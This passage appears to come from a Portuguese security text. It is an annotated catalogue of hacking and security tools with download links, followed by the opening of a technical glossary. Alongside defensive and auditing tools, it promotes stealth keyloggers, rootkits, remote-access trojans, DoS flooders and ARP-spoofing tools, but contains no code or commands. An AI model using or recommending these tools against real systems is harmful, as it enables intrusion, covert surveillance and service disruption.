updated as well as monitor any current news and information on the tools
the user is interested in. Keeping users up to date on new releases means
new features can be tested and put to use more quickly allowing for users of
HackPack to stay on top of security tools landscape.
7.3.4 Hacme Shipping™, Foundstone Hacme Shipping™ is a web-based
shipping application developed by Foundstone to demonstrate common web
application hacking techniques such as SQL Injection, Cross Site Scripting
and Escalation of Privileges as well as Authentication and Authorization
flaws and how they are manifested in the code. Written in ColdFusion MX 7
using the Model-Glue framework and a MySQL database, the application
emulates the on-line services provided by major shipping companies.
7.3.5 Hacme Travel™, Foundstone Hacme Travel™ is designed to teach
application developers, programmers, architects, and security professionals
how to create secure software. Hacme Travel simulates a real-world travel
reservation system, which was built with a number of known and common
vulnerabilities such as SQL injection and buffer overflows. This allows users
to attempt real exploits against a client-server type of application written in
C++.
7.3.6 Hacme Books™, Foundstone Hacme Books™ is a learning platform for
secure software development and is targeted at software developers,
application penetration testers, software architects, and anyone with an
interest in application security. As a full-featured J2EE application, Hacme
Books is representative of real-world J2EE scenarios and demonstrates the
security problems that can potentially arise in these applications.
This training tool is used extensively as part of Foundstone’s Writing Secure
Code - Java (J2EE) class. Click here for information about this class.
7.3.7 Hacme Bank™, Hacme Bank™ is designed to teach application
developers, programmers, architects and security professionals how to
create secure software. Hacme Bank simulates a "real-world" web services-
enabled online banking application, which was built with a number of known
212
and common vulnerabilities. This allows users to attempt real exploits
against a web application and thus learn the specifics of the issue and how
best to fix it. The web services exposed by Hacme Bank are used by our
other testing applications including Hacme Books and Hacme Travel.
7.3.8 SiteScope, Foundstone’s SiteScope creates a site map and gathers metrics
for a given web-based application. The method SiteScope utilizes to gather
data and create site maps differentiates it from alternative tools that "spider"
a web application.
7.3.9 .NET Security Toolkit, The Foundstone SASS (Software Application
Security Services) .NET Security Toolkit is designed to help application
developers and architects to build secure and reliable .NET software
applications. The new toolkit is comprised of the Validator.NET, .NETMon
and SecureUML template tools which help developers validate, debug and
analyze vulnerabilities during the design and development of .NET
applications.
7.3.10 .NETMon™, The .NETMon tool monitors the .NET common language
runtime enabling developers to conduct detailed analysis of how the .NET
framework enforces security controls, including setting custom profiling
filters and logging of specific events.
7.3.11 Validator.NET™, Validator.NET enables developers to
programmatically determine user input locations that could be potentially
exploited by hackers and provides proactive steps to build data validation
routines which are loaded into a protection module. The tool helps eliminate
common vulnerabilities such as SQL Injection and Cross-Site Scripting.
7.3.12 SecureUML Template, The SecureUML Visio template defines a
custom Unified Modeling Language (UML) dialect to help system architects
build roles based access control systems (RBAC).
7.3.13 WSDigger™, WSDigger is a free open source tool designed by
Foundstone to automate black-box web services security testing (also known
as penetration testing). WSDigger is more than a tool, it is a web services
testing framework.
7.3.14 CookieDigger™, CookieDigger helps identify weak cookie generation
and insecure implementations of session management by web applications.
213
The tool works by collecting and analyzing cookies issued by a web
application for multiple users.
7.3.15 SSLDigger™, SSLDigger v1.02 is a tool to assess the strength of SSL
servers by testing the ciphers supported. Some of these ciphers are known to
be insecure.
7.3.16 SiteDigger™, SiteDigger 2.0 searches Google’s cache to look for
vulnerabilities, errors, configuration issues, proprietary information, and
interesting security nuggets on web sites.
77..44 Intrusion Detection Tools:
7.4.1 IPv4Trace, A Win32 C++ programming library port of the OpenBSD 2.8
kernel-land IPv4 fragment reassembly implementation.
7.4.2 Carbonite™, A Linux Kernel Module to aid in RootKit detection.
7.4.3 FileWatch™, A file change monitor. Used with BlackICE Defender.
7.4.4 Attacker™, A TCP/UDP port listener.
7.4.5 Fport™, Identify unknown open ports and their associated applications
77..55 Scanning Tools:
7.5.1 SuperScan™, Powerful TCP port scanner, pinger, resolver.
7.5.2 MS05-051 Scan, Vulnerabilities in MSDTC and COM+ Could Allow
Remote Code Execution
7.5.3 MS05-039 Scan, Microsoft UPnP MS05-039 Vulnerability Detection
Utility
7.5.4 NetSchedScan, Remote Task Scheduler scanner
7.5.5 DSScan, LSASS scanner
7.5.6 MydoomScanner, Mydoom worm scanner
7.5.7 MessengerScan, Microsoft MessengerScan Vulnerability Detection Utility
with Advanced Immediate Protection Capability!
7.5.8 SQLScan, SQL "Slammer" worm scanner
7.5.9 BOPing™, A scanner for the infamous Back Orifice program.
7.5.10 ScanLine™, Command line port scanner.
7.5.11 Trout™, Traceroute and Whois program.
7.5.12 DDosPing™, A network admin utility for remotely detecting the most
common DDoS programs.
7.5.13 SNScan™, SNMP Detection Utility
214
7.5.14 CIScan, Cisco IOS IPv4 Remote Denial of Service Vulnerability
Detection Utility
7.5.15 RPCScan, Microsoft RPC(MS03-026) and RPCSS(MS03-039)
Vulnerability Detection Utility
77..66 Stress Testing Tools:
7.6.1 FSMax™, A scriptable, server stress testing tool.
7.6.2 Blast™, A small, quick TCP service stress test tool.
7.6.3 UDPFlood™, UDP packet sender utility.
8 IDS:
88..11 Snort, Snort® is an open source network intrusion prevention and detection
system utilizing a rule-driven language, which combines the benefits of signature,
protocol and anomaly based inspection methods. With millions of downloads to
date, Snort is the most widely deployed intrusion detection and prevention
technology worldwide and has become the de facto standard for the industry.
9 Keylogger:
99..11 Best Free Keylogger (BFK), BFK is a free keylogger software with features
that is similar to most popular keyloggers on the net like ghost keylogger but it is
free
99..22 Spytector, is the ultimate invisible and undetectable keylogger (spy) software
that completely satisfies your PC monitoring and surveillance needs. Spytector
server is running in total stealth, undetectable even for advanced users, perfect
for monitoring the way your PC is used.
99..33 Elite Keylogger Editor v1.0, edit your keylogger to email you the key
strokes, the keylogger will inject in IE and will run invisible bypassing firewalls
and giving the logs in HTML format Preview Here
10 Live CD’s:
1100..11 Auditor: http://www.remote-exploit.org/index.php/Auditor_main
The Auditor security collection is a Live-System based on KNOPPIX. With no
installation whatsoever, the analysis platform is started directly from the CD-Rom
and is fully accessible within minutes. Independent of the hardware in use, the
Auditor security collection offers a standardised working environment, so that the
build-up of know-how and remote support is made easier. Even during the
planning and development stages, our target was to achieve an excellent user-
friendliness combined with an optimal toolset. Professional open-source
215
programs offer you a complete toolset to analyse your safety, byte for byte. In
order to become quickly proficient within the Auditor security collection, the
menu structure is supported by recognised phases of a security check. (Foot-
printing, analysis, scanning, wireless, brute-forcing, cracking). By this means, you
instinctively find the right tool for the appropriate task. In addition to the approx.
300 tools, the Auditor security collection contains further background information
regarding the standard configuration and passwords, as well as word lists from
many different areas and languages with approx. 64 million entries. Current
productivity tools such as web browser, editors and graphic tools allow you to
create or edit texts and pictures for reports, directly within the Auditor security
platform. Many tools were adapted, newly developed or converted from other
system platforms, in order to make as many current auditing tools available as
possible on one CD-ROM. Tools like Wellenreiter and Kismet were equipped with
an automatic hardware identification, thus avoiding irritating and annoying
configuration of the wireless cards.
1100..22 WHAX: http://distrowatch.com/table.php?distribution=whoppix
Whoppix is a stand-alone penetration-testing live CD based on KNOPPIX. With
the latest tools and exploits, it is a must for every penetration tester and security
auditor. Whoppix includes several exploit archives, such as Securityfocus,
Packetstorm, SecurityForest and Milw0rm, as well as a wide variety of updated
security tools. The new custom kernel also allows for better WIFI support.
Starting with version 3.0, Whoppix was renamed to WHAX and its base changed
from KNOPPIX to the more modular SLAX live CD.
11 Network attacking tool:
1111..11 WinArpAttacker: http://unshadow.spain.com/
is a program that can scan and attack computers on local area network.
WinArpAttacker has the following features:
-. It can pull and collect all the packets on the LAN.
-. It can scan and show the active hosts on the LAN within a very short time (~1-2
seconds).
-. It can perform six attacking actions as following:
(1) Arp Flood - Send ip conflict packets to target computers as fast as possible, if
you send too much, the target computers will down. :-(
216
(2) BanGateway - Tell the gateway a wrong mac address of target computers, so
the targets can't receive packet from the internet. This attack is to forbid the
targets access the internet.
(3) IPConflict - Like Arp Flood, send ip conflict packets to target computers
regularly, maybe the users can't work because of regular ip conflict message.
what's more, the targets can't access the lan.
(4) SniffGateway - Spoof the targets and the gateway, you can use sniffer to
collect packets between them.
(5) SniffLan - Spoof among the targets, you can use sniffer to collect packets
among all of them. (dangerous!!)
(6) AntiSniff - Scan the lan for sniffing computers, so you can find who is sniffing.
-. While spoofing ARP tables, it can act as another gateway (or ip-forwarder)
without other users' recognition on the LAN.
-. It can collect and forward packets through the system's ipforward function.
-. As your wish, an ARP table is recovered automatically in a little time (about 5
seconds). Your also can select not to recover.
-. Support multi-network adapter and multi-ip address and multi-gateway on a
computer, you can select different adapter and ip address to scan different lan.
-. It can save and load computer lists on a lan.
1111..22 Battle Pong - Technophoria: http://www.library.2ya.com/
Choose the ping size and the speed to flood.
1111..33 Assault v1.0: http://www.library.2ya.com/
An old ICMP and UDP flooder.
1111..44 RPCNuke v1.0: http://www.library.2ya.com/
Based on RPC DoS exploit, it works with Win2k/XP with the vulnerability on port
135, you have the option of IP range nuke
1111..55 EtherFlood: http://ntsecurity.nu/toolbox/etherflood/
EtherFlood floods a switched network with Ethernet frames with random
hardware addresses. The effect on some switches is that they start sending all
traffic out on all ports so you can sniff all traffic on the network.
1111..66 DDoSPing: http://www.foundstone.com/rdlabs/tools.html
DDoSPing is a remote scanner for the most common Distributed Denial of
Service programs (often called Zombies by the press). These were the programs
responsible for the recent rash of attacks on high profile web sites. This tool will
217
detect Trinoo, Stacheldraht and Tribe Flood Network programs running with
their default settings, although setup of each program type is possible from the
configuration screen. Scanning is performed by sending the appropriate UDP and
ICMP messages at a controlable rate to a user defined range of addresses.
Feedback appreciated.
1111..77 stacheldrahtV4 - DoS tool
12 Network sniffing:
1122..11 Ethereal: http://www.ethereal.com/
Ethereal® is used by network professionals around the world for troubleshooting,
analysis, software and protocol development, and education. It has all of the
standard features you would expect in a protocol analyzer, and several features
not seen in any other product. Its open source license allows talented experts in
the networking community to add enhancements. It runs on all popular computing
platforms, including Unix, Linux, and Windows.
1122..22 Wireshark: http://www.wireshark.org/
network protocol analyzer. It runs on Windows, Linux, UNIX, and other
platforms.
1122..33 WinPcap:http://www.winpcap.org/
is the industry-standard tool for link-layer network access in Windows
environments: it allows applications to capture and transmit network packets
bypassing the protocol stack, and has additional useful features, including kernel-
level packet filtering, a network statistics engine and support for remote packet
capture.
WinPcap consists of a driver, that extends the operating system to provide low-
level network access, and a library that is used to easily access the low-level
network layers. This library also contains the Windows version of the well known
libpcap Unix API.
Thanks to its set of features, WinPcap is the packet capture and filtering engine of
many open source and commercial network tools, including protocol analyzers,
network monitors, network intrusion detection systems, sniffers, traffic generators
and network testers. Some of these tools, like Wireshark, Nmap, Snort, ntop are
known and used throughout the networking community.
1122..44 WinDump: http://www.winpcap.org/
218
the Windows version of the popular tcpdump tool. WinDump can be used to
watch, diagnose and save to disk network traffic according to various complex
rules.
1122..55 TCPDUMP: http://www.tcpdump.org/
can be used to watch, diagnose and save to disk network traffic according to
various complex rules.
1122..66 Nmap: http://insecure.org/nmap/
Nmap ("Network Mapper") is a free open source utility for network exploration or
security auditing. It was designed to rapidly scan large networks, although it
works fine against single hosts. Nmap uses raw IP packets in novel ways to
determine what hosts are available on the network, what services (application
name and version) those hosts are offering, what operating systems (and OS
versions) they are running, what type of packet filters/firewalls are in use, and
dozens of other characteristics. Nmap runs on most types of computers and both
console and graphical versions are available. Nmap is free and open source.
1122..77 Colasoft Capsa 6.1: http://www.colasoft.com
Expert Packets Sniffer and Protocol Analyzer
Colasoft Capsa is an expert network packet sniffer designed for analyzing and
diagnosing network traffic flowing through local network, helping network
administrators to detect and troubleshoot network problems. With the abilities of
real time packet capture, accurate protocol analysis, automatic network events
diagnosis, combined powerful filters and statistic information of global network,
Colasoft Capsa let you quickly and efficiently fix the network troubles.
1122..88 Nessus: http://www.nessus.org/ - Network Vulnerability scanner
1122..99 DSniff: http://monkey.org/~dugsong/dsniff/
This is the king of the hill of all sniffers. Dsniff is very well developed by Doug
Song and is mature in its development. This suite of programs sport functionality
for general sniffing, arp spoofing, dns spoofing, switch sniffing, and a plethora of
other unique and amusing capabilities.
1122..1100 PHoss: http://www.phenoelit.de/fr/tools.html
is a sniffer designed to find HTTP, FTP, LDAP, Telnet, IMAP4 and POP3 logins
on the wire. It also sniffs the VNC challange/response handshake.
Hard to find and has great effect !
1122..1111 SwitchSniffer: http://www.snapfiles.com/download/dlswitchsniffer.html
219
is a program that can scan your switched LAN for up hosts and can reroute and
collect all packets without the target users' recognition. It can also detect the
‘arpspoofer’ program running on the network and block user definable sessions
like firewall. If you use this program in tandem with any sniffer program, you can
capture and see the users’ IDs and passwords on a switched network.
That is, SwitchSniffer enables you to monitor all the packets and all the hosts on a
switch network.
1122..1122 rumint v2.04: http://www.rumint.com/
Rumint is a network and security visualization tool. It allows you to load packet
capture files as well as perform live packet capture and visualize the results using
a variety of visualization techniques. You can then filter the dataset and play back
the data using a PVR interface. Requires the winpcap library. Version 1.92 adds
the ability to directly load PCAP files.
1122..1133 Packetyzer: http://www.networkchemistry.com
provides a Windows user interface for the well known Ethereal packet capture
and dissection library. Ethereal is used by network professionals around the
world for troubleshooting, analysis, software and protocol development, and
education. It has all of the standard features expected in a protocol analyzer, and
several features not otherwise available. Network Chemistry has taken advantage
of its open source license to add a Windows front end to extend its use.
1122..1144 Ettercap: http://ettercap.sourceforge.net/download.php
is a suite for man in the middle attacks on LAN. It features sniffing of live
connections, content filtering on the fly and many other interesting tricks.
It supports active and passive dissection of many protocols (even ciphered ones)
and includes many feature for network and host analysis.
13 password's:
1133..11 Cain&Abel: http://www.oxid.it
is a password recovery tool for Microsoft Operating Systems. It allows easy
recovery of various kind of passwords by sniffing the network, cracking encrypted
passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording
VoIP conversations, decoding scrambled passwords, revealing password boxes
and analyzing routing protocols.
1133..22 SID&User: http://www.lcpsoft.com
220
program is SID and user names getting tool for Windows NT/2000/XP/2003.
General features of this product:
SID getting for a given account name;
Getting of an account name for single SID or account names for SID range.
1133..33 LCP: http://www.lcpsoft.com
Main purpose of LCP program is user account passwords auditing and recovery
in Windows NT/2000/XP/2003.
1133..44 Ophcrack 2: http://ophcrack.sourceforge.net/
A Windows password cracker based on the faster time-memory trade-off using
rainbow tables. This is an evolution of the original Ophcrack 1.0 developed at
EPFL. Ophrack 2.3 comes with a GTK+ Graphical User Interface and runs on
Windows, Mac OS X (Intel CPU) as well as on Linux.
1133..55 john-1.7.2.tar.gz : http://www.openwall.com/john/
john the Ripper is a fast password cracker, currently available for many flavors of
Unix (11 are officially supported, not counting different architectures), DOS,
Win32, and BeOS. Its primary purpose is to detect weak Unix passwords, but a
number of other hash types are supported as well.
1133..66 pwdump2:
http://www.bindview.com/Services/razor/Utilities/Windows/pwdump2_readme.cf
m
This is an application which dumps the password hashes (OWFs) from NT's SAM
database, whether or not SYSKEY is enabled on the system. NT Administrators
can now enjoy the additional protection of SYSKEY, while still being able to check
for weak users' passwords. The output follows the same format as the original
pwdump (by Jeremy Allison), and can be used as input to l0phtcrack, or used with
Samba. You need the SeDebugPrivilege for it to work. By default, only
Administrators have this right, so this program does not compromise NT security.
1133..77 PWHacker: http://cd.textfiles.com/windows-6pak/disk6/Password-
Utilities.html
Ever forgot the password you entered months ago for your Internet account?
PWHacker will retrieve it for you. It reads the so-called masked edit boxes used in
Windows 95 to hide passwords (the familiar ********). PWHacker will not crack
passwords; it only works for passwords you have already (in the distant past)
entered.
221
1133..88 Proactive Password Recovery: http://www.elcomsoft.com/pspr.html
It includes the installation for program to recover password's from:
System, archives (ZIP/RAR/ACE/ARJ), Microsoft Office (Word, Excel, Access,
Outlook etc), Outlook Express, Internet Explorer, Lotus SmartSuite (WordPro, 1-
2-3, Approach, Organizer), Corel WordPerfect Office (WordPerfect, Paradox,
QuattroPro), Adobe Acrobat PDF, Windows 2000/XP NTFS (EFS), Windows
NT/2000/XP user passwords)
1133..99 Recover Password's toolkit's - Conjunto de aplicações para recuperar
passwords de todo o tipo de software
1133..1100 @stake LC 4
version of L0phtCrack gets cracking on password security.
1133..1111 @stake LC 5
1133..1122 LC 5 is the latest version of L0phtCrack, the award-winning password
auditing and recovery application used by thousands of companies worldwide.
14 Proxy:
1144..11 TCP Tunnel: http://www.dr-a.net/projects
is a *proxifier* for Windows. It is a very useful tool when used in closed networks
(i.e. a university), where the only way to connect to the Internet is by using a
proxy. TCP Tunnel redirect connections from the client applications to a specified
proxy server, adding the proxy support option to simple client applications (i.e.
telnet).
1144..22 WinGate: http://www.wingate.com
Internet Gateway and Communications Server.
WinGate allows you to:
Provide secure and managed Internet access for your entire network via a single
or multiple shared internet connections
Enforce advanced and flexible access-control and acceptable use policies
Monitor usage in real time, and maintain per-user and per-service audit logs.
Stop viruses, spam and inappropriate content from entering your network
Provide comprehensive internet and intranet email services.
Protect your servers from internal or external threats.
Improve network performance and responsiveness with web and DNS caching
Ease administration burdens on your internal networks.
1144..33 Tor: http://tor.eff.org/overview.html.en
222
Tor is a network of virtual tunnels that allows people and groups to improve their
privacy and security on the Internet. It also enables software developers to create
new communication tools with built-in privacy features. Tor provides the
foundation for a range of applications that allow organizations and individuals to
share information over public networks without compromising their privacy.
15 Rainbow Tables:
1155..11 Winrtgen: http://www.oxid.it
is a graphical Rainbow Tables Generator that supports LM, FastLM,NTLM,
MD2, MD4, MD5, SHA1, RIPEMD160, MySQL323, MySQLSHA1,
CiscoPIX,SHA-2 (256), SHA-2 (384) and SHA-2 (512) hashes.
1155..22 RainbowCrack: http://www.antsight.com/zsl/rainbowcrack/
is a general propose implementation of Philippe Oechslin's faster time-memory
trade-off technique. In short, the RainbowCrack tool is a hash cracker. A
traditional brute force cracker try all possible plaintexts one by one in cracking
time. It is time consuming to break complex password in this way. The idea of
time-memory trade-off is to do all cracking time computation in advance and
store the result in files so called "rainbow table". It does take a long time to
precompute the tables. But once the one time precomputation is finished, a time-
memory trade-off cracker can be hundreds of times faster than a brute force
cracker, with the help of precomputed tables.
16 reverse engineering e programas de manipulação de programas:
1166..11 w32dasm 8.93 - Program for reverse engeneering
1166..22 Resource Hacker: FREEWARE utility to view, modify,add and delete
resources in Win32 executables.
Incorporates an internal resource compiler and decompiler. Works on both Win9x
and WinNT.
1166..33 Memspy: Software that shows you what a program is putting in RAM at the
current moment.
1166..44 Hex Workshop: http://www.bpsoft.com/downloads/
is a set of hexadecimal development tools for Microsoft Windows, combining
advanced binary editing with the ease and flexibility of a word processor. With
Hex Workshop you can edit, cut, copy, paste, insert, and delete hex, print
customizable hex dumps, and export to RTF or HTML for publishing.
Additionally, you can find, replace, compare, add smart bookmarks, and generate
223
character distributions within a sector or file. Hex Workshop supports drag-and-
drop and is integrated with the Windows operating system so you can quickly and
easily hex edit from your most frequently used workspaces. The Data Inspector is
perfect for interpreting, viewing, and editing decimal and binary values. An
Integrated Structure Viewer allows you to view and edit data in the most intuitive
and convenient way.
Version 4.23 features some improvements and bug fixes.
1166..55 Hackman Suite: http://www.technologismiki.com/en/index-h.html
Hackman Hex Editor 9.0:
is a powerful multi-module hex editor. It comes with cryptography capabilities,
decoding with ready and self-made algorithms and a fully-featured editor. You
can edit virtually any file, disk, ZIP drive, Ram Drive, Smart Media, Compact
Flash I & II, IBM Microdrive or Physical RAM with the ease of a word processor.
Hackman Disassembler 9.0:
is an ultra fast (250 kb/sec @ PIII/900 MHz) multi-processor disassembler. It has
embedded 8, 16 and 32 bits architectures, so apart from Intel x86 and AMD
processors, it also supports numerous Motorola, Hitachi and Zilog processors
among others. It comes with detailed instruction reference modules for many
processors, a flexible print engine to create professional reports, features great
customization capabilities and a versatile and handy user interface.
1166..66 OllyDbg: http://www.ollydbg.de/
is a 32-bit assembler level analysing debugger for Microsoft® Windows®.
Emphasis on binary code analysis makes it particularly useful in cases where
source is unavailable.
17 Rootkit:
1177..11 FU Rootkit: http://www.egocrew.de
The FU rootkit can hide processes, elevate process privileges, fake out the
Windows Event Viewer so that forensics is impossible, and even hide device
drivers (NEW!) All this without any hooking.
1177..22 WinRootkit: http://www.egocrew.de - rootkit WinNT/2k/Xp.
18 source code of trojan virus and worms:
1188..11 Simple Trojan
1188..22 Advanced keylogger source code in visual basic
1188..33 Various virus source codes listed from 0-9 and A-Z
224
19 Telnet client:
1199..11 STerm: http://www.oxid.it
sTerm is a Telnet client with a unique feature. It can establish an entire bi-
directional Telnet session to a target host never sending your real IP and MAC
addresses in any packet. Using "ARP Poisoning", "MAC Spoofing" and "IP
Spoofing" techniques sTerm can effectively bypass ACLs, Firewall rules and IP
restrictions on servers and network devices. The connection will be done
impersonating a Trusted Host.
1199..22 SSH Tectia: http://www.ssh.com
SSH Tectia™ Client and Server form an enterprise-class Secure Shell solution for
securing system administration, file transfer, and application connectivity in
heterogeneous enterprise networks. They provide strong, FIPS 140-2 certified
encryption and flexible authentication to address the critical security
requirements of large organizations.
1199..33 PuTTY: http://www.putty.nl
Here are the PuTTY files themselves:
PuTTY (the Telnet and SSH client itself)
PSCP (an SCP client, i.e. command-line secure file copy)
PSFTP (an SFTP client, i.e. general file transfer sessions much like FTP)
PuTTYtel (a Telnet-only client)
Plink (a command-line interface to the PuTTY back ends)
Pageant (an SSH authentication agent for PuTTY, PSCP and Plink)
PuTTYgen (an RSA and DSA key generation utility).
20 Trojan:
2200..11 NetBus: http://www.tcp-ip-info.de/trojaner_und_viren/
is a "Trojan Horse", which has a similar functionality than "Back Orifice". That
means, it opens a "Backdoor" to a PC, so that everybody can acces your PC from
the network without your notice. NetBus is much more userfriendly than Back
Orifice.
2200..22 SubSeven: http://www.tcp-ip-info.de/trojaner_und_viren/
is a "Trojan Horse" that opens a "Backdoor" to a PC, so that everybody can
acces your PC from the network without your notice.
2200..33 Back Orifice: http://www.bo2k.com/
225
is a "Trojan Horse" that opens a "Backdoor" to a PC, so that everybody can
acces your PC from the network without your notice.
2200..44 Beast v2.0.7: http://www.library.2ya.com/
One of the best trojans around, advanced options, dont forget to read the
readme.txt's for more information
2200..55 ProRat v1.9 Fix2: http://www.library.2ya.com/
Advanced and updated trojan, always comes with nice working options. Includes
keylogger builder trojan server builder and cgi notify builder
2200..66 MofoTro 1.7 Beta: http://www.library.2ya.com/
Splinter Security Cool_mofo_2s release. Updated at (30/04/06) Some of the
features, remote scripting, remote shell, XP firewall killer, flip screen :P Visit
SSgroup.org
21 Várias:
2211..11 Cisco Pix firewall: http://www.oxid.it
Cisco PIX firewalls, as every other Cisco device, let you insert the password for
the enable mode and telnet access directly in their encrypted form using the
commands:
- enable password **************** encrypted
- password **************** encrypted
where the string **************** is the encrypted form of a known cleartext
password.
This program produces the encrypted form of PIX passwords without the need to
access the device.
Networks and security administrators can use it to write authentication
informations in the firewall's configuration files completely off-line.
2211..22 Netcat: http://www.vulnwatch.org/netcat/
NetCat que é considerado pelos hackers o canivete suíço do TCP/IP, devido a sua
incrível versatilidade, com o NC(NetCat), podemos fazer um scanner de portas,
um trojan, um brute force, entre outras coisas.
2211..33 BiDiBLAH: http://www.sensepost.com/research/bidiblah/
- Security Assessment Power Tools
2211..44 SMAC: http://www.klcconsulting.net/smac/
SMAC is a powerful, yet easy to use MAC Address Changer (Spoofer) for
Windows 2000, XP, and 2003 systems, regardless of whether the manufacturers
226
allow this option or not. SMAC is developed by Certified Professionals (CISSP,
CISA, MCSE)
2211..55 SeePassword 2.04: www.download-by.net/security-and-privacy/password-
managers/35223,seepassword,dl.html
When a password appears on screen as a series of asterisks or dots, you simply
view it through SeePassword's magnifying glass to reveal the actual password
text. See-Password has no problems with passwords stored by Internet Explorer?
all the sites will yield their secrets. SeePassword provides users with an easily
applied retrieval tool for forgotten passwords.
2211..66 ShoWin: www.foundstone.com
Program to hide, show, enable, disable, and close any window. Also uncovers
passwords under these: *************
2211..77 Omatic: http://www.hot.ee/omatic18/
Cheat 'O Matic is a FREEWARE and AUTOMATIC cheat program for *ANY*
DOS or Windows game. It runs under Windows along side your favorite game and
allows you to EASIALLY (no hex here) modify ANY value in the game - AS THE
GAME RUNS!
2211..88 Keyfinder: http://www.magicaljellybean.com/keyfinder.shtml
is a freeware utility that retrieves your Product Key (cd key) used to install
windows from your registry. It has the options to copy the key to clipboard, save it
to a text file, or print it for safekeeping. It works on Windows 95, 98, ME, NT4,
2000, XP, Server 2003, Windows Vista, Office 97, Office XP, and Office 2003.
This version is a quick bug fix to remedy the broken "Change Windows Key" in
Windows XP.
22 Web site authentication brute force:
2222..11 Crowbar: http://www.sensepost.com/research/crowbar/ - Generic Web Brute
Force Tool
2222..22 ObiWaN: http://www.phenoelit.de/fr/tools.html
is a brute force authentication attack against Webserver with authentication
requests - and in fact to break in insecure accounts.
23 Wireless tools:
2233..11 Aircrack: http://www.aircrack-ng.org/
aircrack is an 802.11 WEP and WPA-PSK keys cracking program that can
recover keys once enough data packets have been captured. It implements the
227
standard FMS attack along with some optimizations like KoreK attacks, thus
making the attack much faster compared to other WEP cracking tools. In fact
aircrack is a set of tools for auditing wireless networks.
2233..22 AirSnort: http://airsnort.shmoo.com/
AirSnort is a wireless LAN (WLAN) tool which recovers encryption keys. AirSnort
operates by passively monitoring transmissions, computing the encryption key
when enough packets have been gathered.
2233..33 Wepcrack: http://sourceforge.net/projects/wepcrack/
WEPCrack is a tool that cracks 802.11 WEP encryption keys using the latest
discovered weakness of RC4 key scheduling.
2233..44 NetStumbler: http://www.netstumbler.com
For a Swiss Army knife of wireless network diagnostics, “NetStumbler” is saddled
with a somewhat unfortunate name. Although it implies a sort of blind luck,
NetStumbler is actually most useful for pinpointing details of a wireless network,
helping you configure, secure, optimize and discover.
2233..55 Airbase: http://www.802.11mercenary.net/
Airbase is the name I have given a collection of wireless utilites i have created
over the years. Eventually I got tired of re-creating so much code that I made a
library and re-wrote everything to use it.
2233..66 Kismet: http://www.kismetwireless.net/
Kismet is an 802.11b network sniffer and network dissector. It is capable of sniffing
using most wireless cards, automatic network IP block detection via UDP, ARP, and
DHCP packets, Cisco equipment lists via Cisco Discovery Protocol, weak
cryptographic packet logging, and Ethereal and tcpdump compatible packet dump files.
It also includes the ability to plot detected networks and estimated network ranges on
downloaded maps or user supplied image files. Windows support is currently
preliminary, so those users may want to look at Netstumbler if they run into trouble.
Linux (and Linux PDAs like Zaurus) users may wish to also look at the Wellenreiter
wireless scanner.
228
H. Glossário
802.11: Refere-se a um conjunto de especificações desenvolvidas pelo IEEE para
tecnologias de redes sem fio.
A5: É um sistema de encriptação de dados que codifica os dados transmitidos
no sistema de telemóveis.
Antivírus: Programa ou software desenvolvido para detectar, anular e eliminar de
um computador código malicioso.
ARP: Address Resolution Protocol é um protocolo usado para encontrar um
endereço Ethernet (MAC) a partir de um endereço IP. O emissor envia
uma mensagem de broadcast de um pacote ARP que contem o IP de
quem enviou o pedido e o MAC de quem quer descobrir o endereço IP.
Cada máquina mantém uma tabela de resolução em cache para não ter de
enviar um pacote ARP Request sempre que pretende saber a quem
pertence um IP. O ARP permite que o endereço IP seja independente do
endereço Ethernet, mas apenas funciona se todos os hosts o suportarem.
Ao processo inverso chama-se Reverse ARP.
Base 64: É um método arbitrário de codificação de dados. Este método usa 64
caracteres da tabela ASCII. A encriptação é feita com o uso dos
caracteres A-Z, a-z, 0-9 e os restantes caracteres ‘+’ e ‘/’
Valor Código Valor Código Valor Código Valor Código
0 A 17 R 34 i 51 z
1 B 18 S 35 j 52 0
2 C 19 T 36 k 53 1
3 D 20 U 37 l 54 2
4 E 21 V 38 m 55 3
5 F 22 W 39 n 56 4
6 G 23 X 40 o 57 5
7 H 24 Y 41 p 58 6
8 I 25 Z 42 q 59 7
229
9 J 26 a 43 r 60 8
10 K 27 b 44 s 61 9
11 L 28 c 45 t 62 +
12 M 29 d 46 u 63 /
13 N 30 e 47 v
14 O 31 f 48 w
15 P 32 g 49 x
16 Q 33 h 50 y
Bit: É um dígito binário que pode ser 0 ou 1.
BSS Segment:
É um segmento de dados que guarda os dados que ainda não foram
inicializados.
Buffer: É um bloco de memória responsável por guarda informação. Por outras
palavras é um dispositivo de armazenamento temporário usado para
compensar a diferença de taxa e fluxo de dados entre dois dispositivos
(como por exemplo um computador e uma impressora).
Byte: Um Byte é a unidade mais pequena endereçável num dispositivo. Em
computadores modernos é composto pelo mesmo numero de bits que um
octeto, ou seja, 8 bits.
CALL: É o que torna possível a utilização de funções num programa. O
objectivo da utilização é o de reencaminhar o processador para este
executar uma parte de código diferente e memorizar para onde tem de
voltar.
Esta instrução guarda na pilha a instrução em que se encontra e a seguir
chama a função para o processador saber para onde tem de voltar e
depois salta para a função que tem de executar.
230
Datagrama: Um datagrama ou pacote é uma unidade de dados que circula na rede.
Contém informações de um emissor para um receptor. Alem da parte da
informação possui um cabeçalho com o endereço do dispositivo emissor
e do dispositivo receptor, prioridades, …
Data Segment:
È um segmento de dados que contém os dados inicializados de um
segmento de código.
DES: O Data Encryption Standard é um algoritmo de chave secreta
desenvolvida pela IBM. È um algoritmo muito rápido mas muito pouco
seguro. Usa chaves de 56 bits.
Diffie-Hellman:
Sistema que consiste em permitir a troca de chaves entre duas máquinas
remotas através de um meio de comunicação não segura. Desta forma
este método torna possível a troca de chaves privadas por um canal de
comunicação pública.
DNS: Domain name server, converte nomes qualificados do domínio (FQDNs-
fully qualified domain names) no endereço IP correspondente e converte
o endereço IP no nome qualificado do domínio (FQDN’s). Assim, o DNS
é um sistema de base de dados, distribuído na Internet, que permite saber
o endereço de IP de um domínio em concreto.
Double DES: O Double Data Encryption Standard é um método de encriptação de
dados que cifra blocos de 64 bits de dados duas vezes com o algoritmo
DES (algoritmo que cifra um bloco 64 bits de dados.
EAPOL: O EAP over LAN pertence ao protocolo EAP (Extensible Authentication
Protocol). Os pacotes neste formato permitem que a informação
transmitida na rede suporte múltiplos métodos de autenticação.
231
EBP: É a abreviatura para Extended base pointer, este registo deve manter-se
inalterado enquanto a função não terminar. Serve como um ponto de
referência (por ser estático durante a execução da função) para aceder a
informação colocada na pilha a partir do offset da informação em relação
a este registo. Quase sempre aponta para o topo da pilha da função.
ECC: Elliptic curve cryptography é um algoritmo de encriptação de chave
publica baseado em curvas elípticas.
